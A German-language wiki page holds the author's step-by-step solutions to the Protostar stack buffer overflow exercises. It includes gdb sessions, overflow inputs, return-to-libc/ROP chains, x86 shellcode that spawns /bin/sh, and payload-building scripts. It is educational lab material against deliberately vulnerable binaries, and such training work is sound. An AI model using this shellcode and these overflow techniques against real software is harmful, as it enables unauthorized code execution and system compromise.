====== stack ======
Diese Unterseite gehört zum [[friedhof:exploits]] Projekt und beinhaltet die **stack** Aufgaben von [[http://exploit-exercises.com/protostar]].
===== stack0 =====
Bei [[http://exploit-exercises.com/protostar/stack0]] handelt es sich um ein erstes Beispiel, wie man den Wert einer Variable verändern kann. Im stack0 Quellcode kann man sehen, dass ein //buffer// mit 64 characters Platz angelegt wird. Die Variable //modified// die man verändern soll am Anfang auf 0 gesetzt wird und wie mit gets() etwas in //buffer// geschrieben wird.
char buffer[64];
modified = 0;
gets(buffer);
Wenn wir uns diese stelle mit gdb (GNU Debugger) ansehen, können wir folgendes sehen:
protostar@protostar:/opt/protostar/bin$ gdb stack0
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
[...]
0x080483fd : mov DWORD PTR [esp+0x5c],0x0
0x08048405 : lea eax,[esp+0x1c]
0x08048409 : mov DWORD PTR [esp],eax
0x0804840c : call 0x804830c
//esp// ist der Stack Pointer. An die Adresse in [esp+0x5c] wird 0 geschrieben (das ist unser modified). Und bei [esp+0x1c] liegt unser buffer.
Mit einem breakpoint nach dem gets(), können wir uns den Stack ansehen. Wir starten das Programm mit //run// und geben //AAAABBBBCCCCDDDDEEEEFFFF// ein.
(gdb) break *0x08048411
(gdb) run
Starting program: /opt/protostar/bin/stack0
AAAABBBBCCCCDDDDEEEEFFFF
Breakpoint 1, main
(gdb) x/8x $esp+0x1c
0xbffff74c: 0x41414141 0x42424242 0x43434343 0x44444444
0xbffff75c: 0x45454545 0x46464646 0x08049600 0xbffff798
(gdb) x $esp+0x5c
0xbffff73c: 0x00000000
Wie wir sehen liegen ab [$esp+0x1c] unsere eingegebenen Buchstaben. 0x41 = A, 0x42 = B, 0x43 = C, 0x44 = D, 0x45 = E, 0x46 = F. Wir erinnern uns, dass unser buffer 64 Byte groß ist (0x5c - 0x1c = 64). Schauen wir was passiert, wenn wir mehr als 64 Zeichen eingeben. ('A'*64)+'BBBB'
(gdb) run
Starting program: /opt/protostar/bin/stack0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Breakpoint 1, main
(gdb) x/20x $esp+0x1c
0xbffff6fc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff70c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff71c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff72c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff73c: 0x42424242 0x08048400 0x00000000 0xbffff7c8
(gdb) x $esp+0x5c
0xbffff73c: 0x42424242
Wie wir sehen, ist [esp+0x5c] nicht mehr 0. Also haben wir unser //modified// mit 'BBBB' = 0x42424242 überschrieben. Mit //c// können wir das Programm ab dem Breakpoint fortsetzten und sehen was passiert.
(gdb) c
Continuing.
you have changed the 'modified' variable
Fertig. Wir haben erfolgreich die Variable //modified// mit einem eigenen Wert überschrieben.
===== stack1 =====
Bei [[http://exploit-exercises.com/protostar/stack1]] muss man wieder eine Variable verändern, diesmal aber mit einem bestimmten Wert. Im stack1 Quellcode kann man sehen, dass ein //buffer// mit 64 characters Platz angelegt wird. Die Variable //modified// die man verändern soll am Anfang auf 0 gesetzt wird und dass mit strcpy() die Zeichen aus argv[1] (erster Parameter) in den buffer kopiert werden. Schauen wir uns mal Assembler an.
protostar@protostar:/opt/protostar/bin$ gdb stack1
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
[...]
0x08048487 : mov DWORD PTR [esp+0x5c],0x0
[...]
0x0804849b : lea eax,[esp+0x1c]
0x0804849f : mov DWORD PTR [esp],eax
0x080484a2 : call 0x8048368
wir sehen wieder, dass modified bei [esp+0x5c] (Stack + 0x5c offset) liegt und der buffer bei [esp+0x1c] (0x5c - 0x1x = 64).
Werfen wir gleich mal mehr als 64 Zeichen rein, und den Wert der modified haben soll:
if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
0x61626364 ist in Ascii 'abcd'. Also lassen wir das Programm mit ('A'*64)+'abcd' laufen.
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAabcd
Starting program: /opt/protostar/bin/stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAabcd
Try again, you got 0x64636261
Es hat nicht funktioniert? Es fällt auf, dass der Speicher solche Werte als little endian ablegt. Also drehen wir mal 'abcd' um ('dcba').
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba
Starting program: /opt/protostar/bin/stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba
you have correctly got the variable to the right value
Perfekt. Jetzt hat es funktioniert.
===== stack2 =====
protostar@protostar:/opt/protostar/bin$ env GREENIE="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`echo -en "\x0a\x0d\x0a\x0d"`" ./stack2
you have correctly modified the variable
===== stack3 =====
(gdb) x win
0x8048424 : 0x83e58955
protostar@protostar:/opt/protostar/bin$ echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x24\x84\x04\x08" | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed
===== stack4 =====
protostar@protostar:/opt/protostar/bin# echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf4\x83\x04\x08" | ./stack4
code flow successfully changed
===== stack5 =====
protostar@protostar:/opt/protostar/bin$ echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x70\xfe\xff\xbf\xcc\xcc\xcc\xcc" | env -i ./stack5
Trace/breakpoint trap
An der Stelle der breakpoints (//\xcc//) könnte nun shellcode stehen.
===== stack6 =====
Stichwort ROP (Return Orientated Programming)
Der Plan. Nach 80 Zeichen überschreiben wir ret von getpatch(). Aber wir können nicht einfach zu unserem shellcode springen wegen der überprüfung auf 0xbf.
Also springen wir woanders hin -> mit execl ein eigenes Programm ausführen (hier "/tmp/fav").
execl("/tmp/fav","/tmp/fav",0). 0x00 als Parameter ist nicht möglich im string mitzugeben, da dieser den String beenden würde. Daher benutzen wir printf mit %n um 0 in eine bestimmte Adresse zu schreiben.
// fav.c
char sc[] =
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
main()
{
int (*f)() = (int (*)())sc; f();
}
Also springen wir zu printf, haben auf dem stack die richtigen parameter dafür um 0x00 an die richtige Stelle im stack für unser execl zu schreiben.
Unser exploit sieht jetzt so aus:
| buffer | printf | execl | formatstring | prog | prog | here |
| buffer | 80 Zeichen |
| printf | Adresse von printf |
| execl | Adresse von execl |
| formatstring | "%3$n" um 0 an die Adresse von //here// schreiben |
| prog | Adresse zu "/tmp/fav" String |
| prog | Adresse zu "/tmp/fav" String |
| here | Adresse an die 0 geschrieben werden soll |
Unser exploit wird also so verpackt:
| | excel | return Adresse | prog | prog | 0 |
| printf | return Adresse | formatstring "%3$n" | | | |
| printf | execl | formatstring "%3$n" | prog | prog | here |
wenn printf fertig ist, wird an die return Adresse gesprungen, die die Adresse von execl ist. Die Adresse von dem formatstring ist dann eigentlich die return Adresse von execl, was uns aber egal ist.
//here// muss die Adresse von sich selbst haben, da printf mit %n an die Adresse einer Variable den Wert schreibt. Da wir also dort die 0 stehen haben wollen, muss die Adresse auf sich selbst zeigen.
Den formatstring und den prog string speicher ich in environment Variabeln:
fav="/tmp/fav"
str="%3$n"
Mit einem C Code aus The art of exploitation, können wir die Adresse berechnen, an denen die Strings stehen werden:
#include
#include
#include
int main(int argc, char *argv[]) {
char *ptr;
if(argc < 3) {
printf("Usage: %s \n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]); /* Get env var location. */
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* Adjust for program name. */
printf("%s will be at %p\n", argv[1], ptr);
}
//$ ./env str /opt/protostar/bin/stack6//
Dann noch alles schön zusammenbasteln, und wir haben unsere shell:
buffer = 'A'*80
printf = "\x90\xdf\xed\xb7"
execl = "\x60\xe4\xf2\xb7"
str = "\x7f\xff\xff\xbf"
fav = "\xd9\xff\xff\xbf"
print buffer+printf+execl+str+fav+fav+"\xa0\xf7\xff\xbf"
{{http://distilleryimage5.instagram.com/c2b6b7f48fc111e180c9123138016265_7.jpg?400}}
Hier noch eine exploit Alternative, auf die ich durch stack7 gekommen bin.
Exploit Design:
|buffer|adress to ret|adress to shellcode|
protostar@protostar:/tmp$ export SHELLCODE=`perl -e 'print "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
protostar@protostar:/tmp$ ./env SHELLCODE /opt/protostar/bin/stack6
SHELLCODE will be at 0xbffff94f
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"
# SHELLCODE adr in gdb x/100s $esp
# ret1 = smrrd.adr('0xbffff95e')
# ./env SHELLCODE /opt/protostar/bin/stack6
ret1 = smrrd.adr('0xbffff94f')
# ret of main
ret2 = smrrd.adr('0x08048508')
print buffer[0:80]+ret2+ret1
===== stack7 =====
Exploit Design:
|buffer|adress to ret|adress to shellcode|
to get the position of the shellcode in the environment variable, I use again the env.c program.
protostar@protostar:/tmp$ export SHELLCODE=`perl -e 'print "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
protostar@protostar:/tmp$ ./env SHELLCODE /opt/protostar/bin/stack7
SHELLCODE will be at 0xbffff94f
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"
# SHELLCODE adr in gdb x/100s $esp
# ret1 = smrrd.adr('0xbffff95e')
# ./env SHELLCODE /opt/protostar/bin/stack6
ret1 = smrrd.adr('0xbffff94f')
# ret of main
ret2 = smrrd.adr('0x08048553')
print buffer[0:80]+ret2+ret1